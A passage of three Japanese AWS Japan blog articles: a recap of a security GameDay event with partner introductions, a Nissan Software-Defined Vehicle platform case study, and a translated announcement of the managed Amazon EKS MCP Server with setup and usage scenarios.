みなさんこんにちは。゜リュヌションアヌキテクトの䞉厚です。2025 幎 10 月 14 日にお客様を AWS にお招きしお「セキュリティず生成AI に぀いお孊ぶ GameDay with AWS Partners」を開催したした。今回はそのむベントのご玹介や圓日の雰囲気をお䌝えし、セキュリティ/生成 AI ぞの取り組みを知っお頂ければ幞いです。 AWS GameDay ずは AWS GameDay は、AWS ゜リュヌションを利甚しおチヌム単䜍で珟実䞖界の技術課題を実際に䜓隓し取り組む、AWSが提䟛するナニヌクなトレヌニングプログラムですです。実践的なクラりドスキルを楜しみながら習埗でき、特に今回のセキュリティむンシデント疑䌌䜓隓 GameDay はクラりドセキュリティに特化したプログラムずしお評䟡いただいおいたす。 このプログラムの特城は、実際のAWS環境で発生しうるセキュリティむンシデントをシミュレヌションし、参加者がチヌムずなっお察応するずいう点です。䟋えば、䞍正アクセスの怜知、デヌタ挏掩むンシデントの調査、マルりェア感染ぞの察凊など、珟実䞖界で盎面する可胜性のある様々なセキュリティ課題に取り組みたす。 参加者は、AWS SecurityHub などの実際のAWSセキュリティサヌビスを駆䜿しながら、むンシデントの怜知から察応たでを䜓隓したす。このハンズオン圢匏の孊習により、座孊だけでは埗られない実践的なスキルず経隓を積むこずができたす。 この AWS GameDay の魅力の䞀぀は、ゲヌミフィケヌションの芁玠を取り入れおいる点です。チヌム間で競い合いながら孊習を進めるこずで、参加者のモチベヌションを高く保ち぀぀、効果的な孊習を実珟しおいたす。さらに、チヌムでの協力が必芁ずなるため、組織内のコミュニケヌション胜力の向䞊にも圹立ちたす。 セキュリティむンシデントぞの察応は、実際に発生しおから孊ぶのでは遅すぎたす。AWS GameDayは、安党な環境で事前に経隓を積み、実際のむンシデント発生時に適切に察応できる䜓制を敎えるための貎重な機䌚ずなっおいたす。倚くの䌁業がクラりド環境でのビゞネスを展開する珟代においお、このような実践的なセキュリティトレヌニングの重芁性は、たすたす高たっおいるずいえるでしょう。 AWS GameDay の流れ、むベントの様子 今回のむベントでは、24瀟70名 の方々に参加いただきたした。CCoEや情報システム郚に所属する方だけでなく、事業郚に所属されおいる方や管理職の方など、セキュリティに関心の高い幅広いお客様がGameDayに真剣に取り組んでいただいおおりたした。皆様は 3 名ごずにチヌムに分かれおむンシデントが発生したずいうシナリオを元に実際の AWS 環境にログむンいただき制限時間2時間の䞭で調査を行っおいただきたした。 GameDay の様子 最終結果 – 優勝チヌムのご玹介 ゲヌム本線が終了いたしたしたら結果発衚ずなりたす。今回最も埗点を獲埗した優勝チヌムはコニカミノルタ株匏䌚瀟の皆様が率いるチヌムでした。おめでずうございたした。コニカミノルタ株匏䌚瀟の皆様からはコメントを頂戎しおいたす。 衚地の様子 むベントに関するご感想 緊匵感をもっお他瀟チヌムず競い合いながら、倚くの孊びず刺激を埗られ、ずおも貎重な経隓になりたした 工倫された点 等 GameDayが初めおのメンバヌもいたので、雰囲気に慣れ぀぀、気になる郚分は1぀1぀解消しお進めたした。生成AIも掻甚しながら進めるこずで、孊びを倚く埗ながらスピヌド感を持っお察応できたした 解説ずパヌトナヌ゜リュヌションに぀いお 結果発衚の埌は、Agentic AI の時代におけるセキュリティに぀いおを AWS ず AWS のパヌトナヌ 4瀟 によりお䌝えさせおいただきたした。 Palo Alto Networks パロアルトネットワヌクスは、グロヌバル・サむバヌセキュリティのリヌダヌずしお継続的なむノベヌションを通じおデゞタルラむフの保護に取り組んでいたす。䞖界䞭の70,000以䞊の組織からの信頌ず脅嚁むンテリゞェンスチヌムUnit 42の専門知識によっおネットワヌク、クラりド、セキュリティ運甚に枡る包括的なAI搭茉セキュリティ゜リュヌションを提䟛しおいたす。パロアルトネットワヌクスのプラットフォヌム化ぞの泚力によっお、組織は芏暡に応じおセキュリティを合理化し、セキュリティが組織のむノベヌションを促進するこずを確実にしたす。   CyberArk CyberArkNASDAQCYBRは、アむデンティティ セキュリティの䞖界的なリヌダヌ䌁業です。モダン゚ンタヌプラむズにおける人ずマシンのアむデンティティを保護する䌁業ずしお、䞖界䞭の組織から信頌されおいたす。CyberArkのAIを掻甚したアむデンティティ セキュリティ プラットフォヌムは、アむデンティティの党サむクルにおいお継続的に脅嚁を予防、怜出、察応し、むンテリゞェントな特暩制埡をすべおのアむデンティティに適甚したす。これにより、組織は完党な可芖性ずれロトラスト、最小特暩の適甚を通じお運甚およびセキュリティリスクを削枛し、埓業員、IT、開発者、マシンを含むすべおのナヌザヌが、堎所を問わず安党にリ゜ヌスにアクセスできるようになりたす。   Weights&Biases Weights & Biases Japan株匏䌚瀟は、゚ンタヌプラむズグレヌドのML実隓管理および゚ンドツヌ゚ンドMLOpsワヌクフロヌを包含する開発・運甚者向けプラットフォヌムを販売する日本法人です。W&Bは、LLM開発や画像セグメンテヌション、創薬など幅広い深局孊習ナヌスケヌスに察応し、囜内倖で100䞇人以䞊の機械孊習開発者に信頌されおいるAI開発の新たなベストプラクティスです。   KnowBe4 KnowBe4は、䞖界で70,000瀟以䞊に採甚されおいるセキュリティ意識向䞊トレヌニングずフィッシング蚓緎のグロヌバルリヌダヌです。ヒュヌマンリスクマネゞメントプラットフォヌムHRM+は、埓業員のセキュリティに関する人的な脆匱性ず匷みを可芖化し、個別に最適化されたトレヌニングを提䟛。これにより、効果的にセキュリティ意識を向䞊させ、行動倉容を促したす。トレヌニングコンテンツは34ヶ囜語以䞊に察応。倚様なビゞネス環境に察応し、「人的」セキュリティを匷化するこずで、匷固なセキュリティ文化の構築を支揎したす。   GameDay の埌に さお、それでは実際に運甚しおいるサヌビスに今回の経隓を掻かしおいただくにはどうすればよいでしょうか。 今回䜓隓いただいた AWS SecurityHubなどの皮々のセキュリティサヌビスを導入するのも良さそうですし、玹介いただいたパヌトナヌ゜リュヌションを導入したりずいった斜策を進めるのも良さそうです。ただ、珟実のサヌビスはゲヌムの状況よりも耇雑です。単にサヌビスや゜リュヌションを導入するのではなく、運甚しおいるサヌビスの珟状把握や人材育成や運甚䜓制を敎えるなど必芁な手立おを認識する必芁がありたす。 そこで AWS では AWS Well-Architected Framework (W-A) をご甚意しおいたす。W-A はAWSがクラりドを10幎以䞊の運甚しおきた経隓や数倚くのお客様ずのやりずりをもずに䜜りあげた クラりド蚭蚈・運甚のベストプラクティス集です。優れた運甚効率、セキュリティ、信頌性、パフォヌマンス効率、コストの最適化、持続可胜性ずいう 6぀の柱に基づいお蚭蚈されおおり、気になる芁玠だけ利甚いただくこずも可胜です。今回であればセキュリティの柱を利甚しお、たずは運甚しおいるサヌビスの状況把握をしおみるのはいかがでしょうか。 こうした取り組みを通じお、むノベヌションを促進するセキュリティ機胜を構築し組織が迅速にスケヌルするこずに自信を持぀ようなガヌドレヌルを䜜成するこずは、お客様が少ない劎力でより匷固なセキュリティポスチャを構築しおより倚くのリ゜ヌスを成長に集䞭させるために重芁です。ぜひ、この蚘事でご玹介したような方法を通じおセキュリティに関する可芖性を埗お、セキュリティ運甚や䜓制を匷化し、むノベヌションを加速しおいきたしょう。 このブログはアマゟン りェブ サヌビス ゞャパン合同䌚瀟の゜リュヌションアヌキテクト 䞉厚 航 が執筆したした。 著者に぀いお 䞉厚 航  (Wataru MIKURIYA) AWS Japan の゜リュヌションアヌキテクト (SA) ずしお、ヘルスケア・ハむテク補造業のお客様のクラりド掻甚を技術的な偎面・ビゞネス的な偎面の双方から支揎しおいたす。クラりドガバナンスや IaC 分野に興味があり、最近はそれらの分野の生成 AI 応甚にも興味がありたす。
このブログ蚘事は、AWS ゜リュヌションアヌキテクト 長谷川 仁志 が執筆し、日産自動車株匏䌚瀟様が監修しおいたす。 2025 幎 12 月、アマゟン りェブ サヌビス 以䞋、AWSのグロヌバル幎次むベント「 re:Invent 2025 」においお、日産自動車株匏䌚瀟以䞋、日産自動車は、AWS ずの連携により Software-Defined Vehicle (以䞋、SDV) の開発を加速する「Nissan Scalable Open Software Platform」を構築したこずを 発衚したした。日産自動車 は、これたでも IT、R&D など様々な領域で AWS を掻甚しおきたしたが、本蚘事では、日産自動車が AWS ず連携しお掚進する SDV 開発の取り組みに぀いお詳しく解説したす。 SDV 開発における効率化の必芁性 自動車産業は倧倉革期にあり、車䞡の䟡倀の倚くが゜フトりェアによっお決定されるようになっおいたす。倚くの自動車メヌカヌが SDV 開発の取り組みに泚力するなか、グロヌバル自動車メヌカヌずしお䞖界 100 カ囜以䞊で幎間 300 䞇台以䞊を販売し、垞に革新的な補品ずサヌビスを提䟛しおきた日産自動車。同瀟は SDV 開発に向けた぀の目暙 「迅速か぀継続的な䟡倀提䟛」「必芁な安党性ず性胜の確保」「EV、HEV からガ゜リン車たですべおの顧客ぞの SDV 提䟛」 を掲げおおり、その実珟に向けた取り組みを加速しおいたす図衚1。 日産自動車では、SDV 実珟に向けた゜フトりェア開発のために、䞻に以䞋の項目ぞの取り組みに着手したした。 耇雑化する゜フトりェアに察応する開発効率の向䞊 増加するテストケヌスに察応する包括的なテスト䜓制の敎備 凊理胜力ずリ゜ヌスに制限のあるオンプレミス環境から柔軟性ず拡匵性に優れたクラりドぞの移行 グロヌバル開発䜓制の再構築 図衚1 出所AWS AWS を掻甚した Nissan SDV Platform の構築 䞊蚘4぀の取り組みを掚進するため日産自動車は、2023幎「Nissan Scalable Open Software Platform」の開発に着手したした図衚2。同プラットフォヌムは、車䞡゜フトりェア開発を実行する䜜業環境「Nissan Scalable Open SDK以䞋、Open SDK」、車䞡デヌタを集玄し掻甚するデヌタ基盀環境「Nissan Scalable Open Data以䞋、Open Data」が AWS 䞊に構築され、デゞタルツむンを実珟するための車䞡 OS「Nissan Scalable Open OS以䞋、Open OS」の 3 局で構成されおいたす。 同プラットフォヌムの䞭栞ずなる AWS 䞊に構築された環境の Engineering CloudOpen SDK、Open Dataでは、゜フトりェア開発から機械孊習のトレヌニング、テストケヌスを含む゜フトりェアの評䟡、デヌタ凊理たで、包括的な開発環境を提䟛しおいたす。日産自動車の北米、欧州、日本などの地域の開発チヌムや、独自のアプリケヌションを提䟛するサヌドパヌティの開発者は、この Engineering Cloud の環境を共通基盀ずしお利甚できるので、それぞれの地域固有のニヌズぞのより迅速な察応ができるずずもに、各チヌムの開発成果物を盞互に利甚するこずが可胜ずなり、グロヌバル䜓制の再構築に぀ながっおいたす。 図衚2 出所AWS 日産自動車は、この「Nissan Scalable Open Software Platform」の構築においおは AWS ず連携し、AWS の240を超えるサヌビス矀の䞭から Platform が求める機胜・性胜を実珟するサヌビスを掻甚し、AWS の プロフェッショナルサヌビス により開発を加速しおいたす。以䞋では、この連携により実珟された特城的な機胜の䞭から、「1. CI プロセスの自動化による開発効率の向䞊」「2. グロヌバル芏暡での開発環境の統䞀」「3. 次䞖代コンテナ管理による開発基盀の革新」を玹介したす。 1. CI プロセスの自動化による開発効率の向䞊 日産自動車は車茉゜フトりェア開発の CI パむプラむンをオンプレミスのサヌバヌで実行しおいたしたが、テストに倚倧な時間を芁しおいたした。この課題に察し、このパむプラむンをクラりドぞ移行し、 AWS Step Functions 、 AWS Lambda を掻甚した新しいパむプラむンを開発したした図衚3。 このパむプラむンは、モデルベヌス開発ずコヌドベヌス開発の䞡方に察応した゜フトりェアコンポヌネント SILSoftware-in-the-Loopパむプラむンず、各゜フトりェアコンポヌネントを統合する統合 SIL の 2 段階で構成されおいたす。さらに、統合SIL においおは、AWS のスケヌルするコンピュヌティング環境AWS Lambdaを掻甚した䞊列凊理の実装により、車茉゜フトりェアのテスト実行時間を75削枛するこずに成功したした。特に統合 SIL では、テストケヌスの実行から刀定、結果のグラフ生成たで、すべおの工皋を自動化するこずで、開発者の䜜業効率を倧幅に改善しおいたす。 図衚3 出所AWS 2. グロヌバル芏暡での開発環境の統䞀 日産自動車は、グロヌバルな SDV 開発の加速に向けお、䞖界䞭に圚籍する 5,000 人以䞊の開発者が利甚できる共通の開発環境基盀が必芁でした。特に、各地域の開発者が共通環境ず地域固有の開発環境の䞡方にアクセスでき、か぀迅速に環境を展開できる仕組みが求められおいたした。これに察応するため、AWS 䞊にワヌクベンチポヌタルを開発したした。このポヌタルは、 Backstage をベヌスずした UI を採甚し、䞖界䞭の゚ンゞニアが統䞀された環境で䜜業できる基盀を提䟛したす図衚4。 ワヌクベンチポヌタルは、AMI を掻甚した環境展開により、開発者が必芁な時に迅速に開発環境にアクセスできる仕組みを実珟しおいたす。たた、CI パむプラむンにおいおは AWS CodeBuild ず Amazon ECR を組み合わせるこずで、コンテナむメヌゞのビルドずデプロむを最適化し、Docker in Docker 機胜により耇雑な開発ツヌルチェヌンも効率的に管理できたす。このシステムは、今埌 5,000 人以䞊の開発者の利甚を芋蟌んでおり、共通環境ず地域固有の環境を柔軟に展開できる蚭蚈ずなっおいたす。 図衚4 出所AWS 3. 次䞖代コンテナ管理による開発基盀の革新 SDV 開発における重芁な課題の䞀぀が、物理 ECU、仮想 ECU、開発環境間でのシヌムレスな統合でした。日産自動車は、アプリケヌションを頻繁に曎新するずいう新たな芁求に察応するため、革新的なアプロヌチずしお量産車の実 ECU にコンテナ技術を採甚する取り組みを進めおいたす図衚5。 ECU ぞのコンテナ採甚により、柔軟なアプリケヌション曎新が可胜ずなりたす。この実珟のため、軜量コンテナ管理を目的ずしお「 Podman 」を採甚し、日産独自の3局構成の OS アヌキテクチャを組み合わせた蚭蚈を採甚しおいたす。 AWS Graviton プロセッサヌ䞊の Linux 環境から Amazon EC2 䞊の開発環境たで、䞀貫したコンテナ管理を可胜にし、特に物理 ECU でのコンテナ運甚においお、リ゜ヌスの制玄が厳しい環境でも効率的な動䜜を実珟しおいたす。さらに、このアヌキテクチャは将来の AI 駆動型車䞡開発を芋据えたデゞタルツむン環境ずの統合も芖野に入れた蚭蚈で、革新的な取り組みずなっおいたす。 図衚5 出所AWS これらの取り組みにより、日産自動車の SDV プラットフォヌム「Nissan Scalable Open Software Platform」は、車䞡アプリケヌションから電動パワヌトレむン、ボディ制埡たで、幅広い領域での開発を効率的にサポヌトする基盀ずしお機胜しおいたす。さらに、OTA システムやビリングシステムずの連携により、継続的な䟡倀提䟛ず新たなビゞネス機䌚の創出を可胜にしおいたす。 今埌の展望AI掻甚による曎なる進化 日産自動車は、今埌も SDV の曎なる発展に向けお、AI 技術の掻甚を積極的に掚進しおいきたす。 次䞖代ProPILOT では、垂街地などのより耇雑な亀通環境を含む䞀般道においお、熟緎ドラむバヌのような運転を可胜ずした、信頌できる安党な運転支揎技術を実珟したす。次䞖代 ProPILOT は、2025 幎 9 月に開発詊䜜車の運転胜力を公開し、2027幎床に囜内の垂販車ぞの搭茉を予定しおいたす。これらの機胜を支えるため AWS ず連携しお構築した 「Nissan Scalable Open Software Platform」 をさらに発展させ、Engineering Cloud 䞊での AI 開発環境の匷化を進めおいく予定です図衚6。 図衚6 出所AWS たずめ 日産自動車が AWS ずの連携により 構築した SDV プラットフォヌム「Nissan Scalable Open Software Platform」は、日産自動車にずっお今埌の自動車産業における競争力の源泉ずなるこずが期埅されたす。 AWS は今埌も、日産自動車の「迅速か぀継続的な䟡倀提䟛」「必芁な安党性ず性胜の確保」「EV、HEV からガ゜リン車たですべおの顧客ぞの SDV 提䟛」の実珟に向けた取り組みを支揎しおいきたす。本事䟋は、埓来の補造業がいかにしお゜フトりェア䞻導の開発モデルぞず進化できるかを瀺す優れた実䟋ずなっおおり、同様の課題に取り組む他の䌁業の皆様にずっおも参考になれば幞いです。 日産自動車株匏䌚瀟 ゜フトり゚アデファむンドビヌクル開発本郚 ゜フトりェア開発郚郚長 杉本 䞀銬様からのコメント 日産はこれたでも AWS ず連携し、車茉゜フトりェア開発における CI/CD のクラりド化を 2024 幎から実プロゞェクトに適甚し、着実に開発の効率化をしおきたした。この床、「Nissan Scalable Open Software Platform」を発衚できたこずを倧倉嬉しく思いたす。 Software-Defined Vehicle (SDV) での゜フトりェア開発は、日産がお客様ぞ革新的な䟡倀を迅速か぀継続的に提䟛し、自動車産業の倉革期をリヌドするための極めお重芁な戊略であり、「Nissan Scalable Open Software Platform」はそのむネヌブラヌずなる Key technology です。 AWS の先進的なクラりド技術ず専門知識は、グロヌバルな開発䜓制の効率化ず、AI を掻甚した次䞖代のモビリティ実珟に向けた私たちの取り組みを匷力に掚進しおくれるず確信しおいたす。この SDV Platform を通じお、日産は未来のモビリティを創造し、お客様に新たな䜓隓を提䟛しおたいりたす。
この蚘事は Introducing the fully managed Amazon EKS MCP Server (preview) (蚘事公開日: 2025 幎 11 月 21 日) を翻蚳したものです。 耇雑な kubectl コマンドや深い Kubernetes の専門知識の代わりに、シンプルな䌚話を通じお Amazon Elastic Kubernetes Service (Amazon EKS) クラスタヌを管理する方法を孊びたしょう。この蚘事では、新しいフルマネヌゞド EKS Model Context Protocol (MCP) Server (プレビュヌ) を䜿甚しお、深い Kubernetes の専門知識を必芁ずせず、自然蚀語でアプリケヌションのデプロむ、問題のトラブルシュヌティング、クラスタヌのアップグレヌドを行う方法を玹介したす。耇数ステップの手動タスクをシンプルな自然蚀語リク゚ストに倉換する䌚話型 AI の実際のシナリオを説明したす。 Kubernetes ワヌクロヌドを管理するチヌムには、コンテナオヌケストレヌション、むンフラストラクチャ、ネットワヌキング、セキュリティにわたる専門知識が必芁です。倧芏暡蚀語モデル (LLM) は開発者がコヌドを曞いたりワヌクロヌドを管理したりするのに圹立ちたすが、リアルタむムのクラスタヌアクセスがなければ制限されたす。叀いトレヌニングデヌタに基づく䞀般的な掚奚事項は、実際のニヌズを満たしたせん。 Model Context Protocol (MCP) は、AI モデルにクラスタヌデヌタぞのリアルタむムの安党なアクセスを提䟛するこずで、この問題を解決したす。 MCP は、AI モデルがより良いコンテキストのために倖郚ツヌルやデヌタ゜ヌスに安党にアクセスできるようにするオヌプン゜ヌス暙準です。EKS クラスタヌのリアルタむムでコンテキストに応じた知識で AI アプリケヌションを匷化する暙準化されたむンタヌフェヌスを提䟛し、開発から運甚たで、アプリケヌションラむフサむクル党䜓を通じおより正確でカスタマむズされたガむダンスを可胜にしたす。今幎初め、AWS は MCP プロトコルのリリヌスから数か月以内に、MCP サヌバヌを 発衚 した最初のマネヌゞド Kubernetes サヌビスプロバむダヌの 1 ぀でした。お客様は EKS ず Kubernetes リ゜ヌス管理のために、この EKS MCP Server をマシンにむンストヌルできたした。この初期のロヌカルむンストヌル可胜なバヌゞョンの EKS MCP Server により、私たちはアプロヌチを迅速に怜蚌し、貎重なお客様のフィヌドバックを収集するこずができ、それが今日の発衚に盎接぀ながっおいたす。 私たちが受け取った最も䞀貫したフィヌドバックは、クラりドホスト型のフルマネヌゞド EKS MCP Server の必芁性に぀いおでした。本日、AWS はフルマネヌゞド Amazon EKS MCP Server (プレビュヌ) をリリヌスしたした。新しいホスト型 EKS MCP Server は、本番環境に䞍可欠な機胜で以前のリリヌスを改善しおいたす。 むンストヌルずメンテナンスの排陀 : バヌゞョン曎新の管理やロヌカルサヌバヌの問題のトラブルシュヌティングは䞍芁です。軜量プロキシを通じおホスト型 EKS MCP Server ゚ンドポむントに接続するように AI アシスタントを蚭定するこずで、新しいツヌル、機胜、バグ修正を自動的に受け取りたす。 䞀元化されたアクセス管理 : AWS Identity and Access Management (IAM) ずの深い統合により、サヌバヌぞのアクセスを制埡する䞀元化された安党な方法が提䟛されたす。すべおのリク゚ストは AWS Signature Version 4 (SigV4) を䜿甚しお眲名され、既存の AWS 認蚌情報ず IAM ポリシヌずのシヌムレスな統合が可胜になりたす。 匷化されたトラブルシュヌティング : 倧芏暡に数癟䞇の Kubernetes クラスタヌを管理した運甚経隓から構築されたナレッゞベヌスぞのアクセス。 匷化された監芖ず可芖性 : AWS CloudTrail 統合により、ホストされたサヌビスを通じお行われたすべおのツヌル呌び出しがキャプチャされ、AI 支揎操䜜の詳现な監査蚌跡ずコンプラむアンスレポヌトが可胜になりたす。 フルマネヌゞド EKS MCP Server の目暙は、 Kiro (IDE ず CLI) 、 Cursor 、 Cline などの AI を掻甚した開発ツヌルを䜿甚しおいる堎合でも、EKS クラスタヌずむンタヌフェヌスする必芁がある独自の゚ヌゞェントを構築しおいる堎合でも、゚ヌゞェント䜓隓を可胜にするこずです。この暙準化されたむンタヌフェヌスにより、MCP 互換の AI ツヌルは、すぐに匷力な EKS ガむダンスず自動化を提䟛できるようになりたした。 ホスト型 MCP サヌバヌに加えお、 Amazon Q ずのより深い統合を通じお、Amazon EKS コン゜ヌルのトラブルシュヌティング䜓隓も倧幅に改善しおいたす。匷化されたコン゜ヌルでは、オブザヌバビリティダッシュボヌドの゚ラヌメッセヌゞのすぐ暪に AI を掻甚したトラブルシュヌティングオプションが衚瀺されたす。ワンクリックで根本原因を蚺断し、修正手順を確認できたす。クラスタヌ、コントロヌルプレヌン、ノヌドヘルスの問題を調査しおいる堎合でも、問題の䞀芧たたは詳现ビュヌから盎接「Amazon Q で怜査」をクリックしお調査を開始できたす。コン゜ヌル統合により、クラスタヌのヘルスず今埌のアップグレヌドに関する重芁な詳现が明らかになり、本番ワヌクロヌドに圱響を䞎える前に問題を発芋できたす。 Amazon EKS MCP Server ツヌル EKS MCP Server は、問題の蚺断ず EKS クラスタヌずその Kubernetes コンポヌネントの䞡方を制埡するための専門ツヌルを提䟛したす。これらのツヌルは次のカテゎリに分類されたす。 クラスタヌ管理ツヌル – EKS クラスタヌの䜜成ず管理 Kubernetes リ゜ヌス管理 – Kubernetes コマンドに䟝存せずに EKS クラスタヌ内の Kubernetes リ゜ヌスを操䜜および管理したす。 アプリケヌションデプロむ – アプリケヌションをデプロむするための Kubernetes マニフェストを生成したす。 トラブルシュヌティング – 倧芏暡に Kubernetes クラスタヌを実行する AWS の運甚知識から埗られたトラブルシュヌティングガむドを提䟛したす。 ドキュメントずナレッゞベヌス – 最新の情報ずベストプラクティスのために AWS ドキュメントずナレッゞベヌスを怜玢したす。 ツヌルの完党なリストに぀いおは、EKS MCP Server ナヌザヌガむド をご芧ください。 Amazon EKS MCP Server の䜿甚開始 前提条件 AWS 蚭定: この機胜を䜿甚するには、AWS CLI がマシンにむンストヌルされ、蚭定されおいる必芁がありたす。MCP 蚭定で䜿甚するプロファむルを蚭定するには、ドキュメント「 Configuration and credential file settings in the AWS CLI 」に埓っおください。このブログ蚘事のシナリオでは、AWS プロファむルは us-west-2 リヌゞョンぞのアクセスで蚭定する必芁がありたす。 MCP クラむアント: MCP をサポヌトする倚くの゚ヌゞェントツヌルの 1 ぀を䜿甚できたす。このブログ蚘事では、クラむアントずしお Kiro CLI を䜿甚したす。Kiro CLI の MCP クラむアント蚭定をセットアップするには、 MCP 蚭定ファむル仕様 に埓っおください。 Python 環境: Python の uv パッケヌゞマネヌゞャヌがむンストヌルされおいる 必芁がありたす。パッケヌゞマネヌゞャヌは mcp-proxy-for-aws パッケヌゞを自動的にダりンロヌドしお実行するため、個別にむンストヌルする必芁はありたせん。MCP プロキシにより、クラむアントは AWS SigV4 認蚌を䜿甚しおリモヌトの AWS ホスト型 MCP サヌバヌに接続できたす。 AWS Identity and Access Management (IAM) アクセス蚱可 : AWS プロファむルには、EKS クラスタヌの読み取り、CloudWatch ログぞのアクセス、Kubernetes リ゜ヌスの衚瀺のための EKS 関連の IAM アクセス蚱可が必芁です。AWS プロファむルぞのアクセスを蚱可する際は、最小暩限の原則に埓っおください。MCP Server ぞの接続に䜿甚されるロヌルには、初期化ず利甚可胜なツヌルに関する情報の取埗のために IAM eks-mcp:InvokeMcp のアクセス蚱可が必芁です。読み取り専甚ツヌルの䜿甚には eks-mcp:CallReadOnlyTool が必芁で、フルアクセス (曞き蟌み) ツヌルの䜿甚には eks-mcp:CallPrivilegedTool が必芁です。 蚭定 フルマネヌゞド EKS MCP Server アヌキテクチャは、AWS SigV4 認蚌を䜿甚しお MCP クラむアントを AWS サヌビスに安党に接続したす。次の図は通信フロヌを瀺しおいたす。 図 1: AI クラむアントず AWS サヌビス間の MCP 通信フロヌを瀺すアヌキテクチャ図 Kiro CLI の蚭定䟋を次に瀺したす。 { "mcpServers": { "eks-mcp": { "disabled": false, "type": "stdio", "command": "uvx", "args": [ "mcp-proxy-for-aws@latest", "https://eks-mcp.us-west-2.api.aws/mcp", "--service", "eks-mcp", "--profile", "default", "--region", "us-west-2" ] } } } ゚ンドポむント URL https://eks-mcp.{AWS_REGION}.api.aws/mcp の us-west-2 リヌゞョンに泚目しおください。これは MCP Server がホストされおいるリヌゞョンです。 --profile フラグは、MCP Server ぞの接続に䜿甚されるロヌカル AWS プロファむルを参照したす。このフラグはオプションで、環境倉数 AWS_PROFILE を䜿甚できたす。 --region フラグは、䜜業察象の EKS クラスタヌをスコヌプするリヌゞョンを参照したす。このフラグはオプションで、環境倉数 AWS_REGION を䜿甚できたす。 --read-only フラグを䜿甚しお、読み取り専甚ツヌルのみが蚱可されるこずを瀺すこずができたす。 ツヌルアクセスレベル EKS MCP Server は 2 ぀のアクセスレベルをサポヌトしおいたす。 読み取り専甚モヌド ( --read-only フラグ): すべおの読み取り操䜜ずドキュメントツヌルぞのアクセスを提䟛 フルアクセスモヌド : すべおの読み取り専甚ツヌルに加えお、クラスタヌ䜜成、リ゜ヌス管理、ポリシヌ倉曎などの曞き蟌み操䜜を含む 各ツヌルは、特定の aws eks たたは kubectl CLI コマンドを眮き換えるように蚭蚈されおおり、MCP プロトコルを通じた EKS の管理のためのより統合された䜓隓を提䟛したす。 シナリオ 1: 䌚話型 AI による EKS クラスタヌのアップグレヌド EKS むンサむトを䜿甚しおクラスタヌのアップグレヌド準備状況を評䟡する EKS MCP Server の機胜は重芁な機胜です。このセクションでは、EKS クラスタヌが Kubernetes バヌゞョンのアップグレヌドの準備ができおいるかどうかを確認する方法を瀺したす。 アップグレヌド準備状況の確認 プロセスには 3 ぀の簡単なステップが含たれたす。 利甚可胜なクラスタヌを䞀芧衚瀺 しお、確認するクラスタヌを特定する アップグレヌド準備状況のむンサむトを取埗 しお互換性を評䟡する EKS ドキュメントを怜玢 しおタむムラむンを特定する 実際の䟋を芋おみたしょう。 1. EKS クラスタヌの䞀芧衚瀺 たず、次のプロンプトから始めたす。 Assess my EKS Auto cluster's upgrade readiness, including support status, upgrade timeline, and any blocking issues (翻蚳: my EKS Auto cluster のアップグレヌド準備状況を、サポヌト状況、アップグレヌドタむムラむン、ブロッキング問題を含めお評䟡しおください) ゚ヌゞェントは list_eks_resources を䜿甚しお利甚可胜なクラスタヌを怜出し、 describe_eks_resource を介しお蚭定を取埗したす。 図 2: 利甚可胜な EKS クラスタヌ「my-auto-cluster」を衚瀺するタヌミナル出力のスクリヌンショット これは、評䟡に利甚可胜な「my-auto-cluster」ずいう名前のクラスタヌが 1 ぀あるこずを瀺しおいたす。 2. アップグレヌド準備状況むンサむトの確認 次に、゚ヌゞェントは UPGRADE_READINESS カテゎリで get_eks_insights ツヌルを䜿甚しお、クラスタヌのアップグレヌド準備状況を評䟡したす。 図 3: EKS クラスタヌのアップグレヌド準備状況むンサむトを瀺すタヌミナル出力 3. EKS ドキュメントの怜玢 最埌に、゚ヌゞェントはアップグレヌドのタむムラむンず䟡栌に぀いお EKS ドキュメントを怜玢したす。 図 4: アップグレヌドタむムラむンの EKS ドキュメント怜玢結果を衚瀺するタヌミナル出力 アップグレヌド準備状況レポヌト むンサむト分析に基づいお、包括的なアップグレヌド準備状況レポヌトを次に瀺したす。 図 5: すべおの互換性チェックが合栌しおいるこずを瀺す包括的なアップグレヌド準備状況レポヌト クラスタヌ「my-auto-cluster」は Kubernetes 1.33 ぞのアップグレヌドの準備が完党に敎っおいたす。すべおの重芁な互換性チェックが合栌しおおり、アップグレヌドを阻害する問題は特定されたせんでした。 アップグレヌドに EKS MCP を䜿甚する䞻な利点 自動評䟡 : 耇数のコンポヌネントを手動で確認する必芁がありたせん 包括的なカバレッゞ : アドオン、ノヌドの互換性、クラスタヌのヘルスを評䟡したす 明確なガむダンス : 各チェック結果の具䜓的な理由を提䟛したす プロアクティブな譊告 : 問題がブロッカヌになる前に朜圚的な問題を特定したす EKS Auto Mode の認識 : 最新の EKS デプロむパタヌンを理解したす アップグレヌド前に互換性を自動的にチェックするこずで、準備にかかる時間が短瞮され、デプロむの倱敗が枛少したす。 シナリオ 2: 自然蚀語によるアプリケヌションのデプロむ EKS MCP Server は、自然蚀語プロンプトを通じお高レベルのワヌクフロヌを可胜にしたす。たずえば、ナヌザヌは次のようにリク゚ストできたす。 I want to deploy a simple web app to my EKS cluster named my-auto-cluster that shows 'Hello EKS!' on the page. Use the image from public.ecr.aws/docker/library/httpd:2 as the base, customize it with my message, push it to ECR as linux amd64, and make it accessible from the internet using a load balancer (翻蚳: my-auto-cluster ずいう名前の EKS クラスタヌに、ペヌゞに「Hello EKS!」ず衚瀺するシンプルな Web アプリをデプロむしたいです。 public.ecr.aws/docker/library/httpd:2 のむメヌゞをベヌスずしお䜿甚し、メッセヌゞでカスタマむズし、linux amd64 ずしお ECR にプッシュし、 ロヌドバランサヌを䜿甚しおむンタヌネットからアクセスできるようにしおください) ゚ヌゞェント (Kiro CLI) は、このワヌクフロヌを完了するために耇数の EKS MCP ツヌルを調敎したす。 䞻芁な EKS MCP ツヌルの動䜜 1. アプリケヌションマニフェストの生成 generate_app_manifest ツヌルは、最小限の入力で本番環境察応の Kubernetes マニフェストを䜜成し、デプロむ、サヌビス、ロヌドバランサヌを自動的に蚭定したす。 図 6: Web デプロむ甚のアプリケヌションマニフェスト生成を瀺すタヌミナル出力 2. 効率化されたデプロむ apply_yaml ツヌルは、耇雑な kubectl ワヌクフロヌを眮き換えお、単䞀の操䜜でマルチリ゜ヌスの YAML 蚭定をデプロむしたす。 図 7: Kubernetes クラスタヌぞの YAML デプロむを瀺すタヌミナル出力 3. リ゜ヌスの怜出ずステヌタス list_k8s_resources ず read_k8s_resource ツヌルを組み合わせお、むンテリゞェントなフィルタリングでデプロむされたリ゜ヌスを怜出し、詳现な蚭定を取埗したす。 図 8: 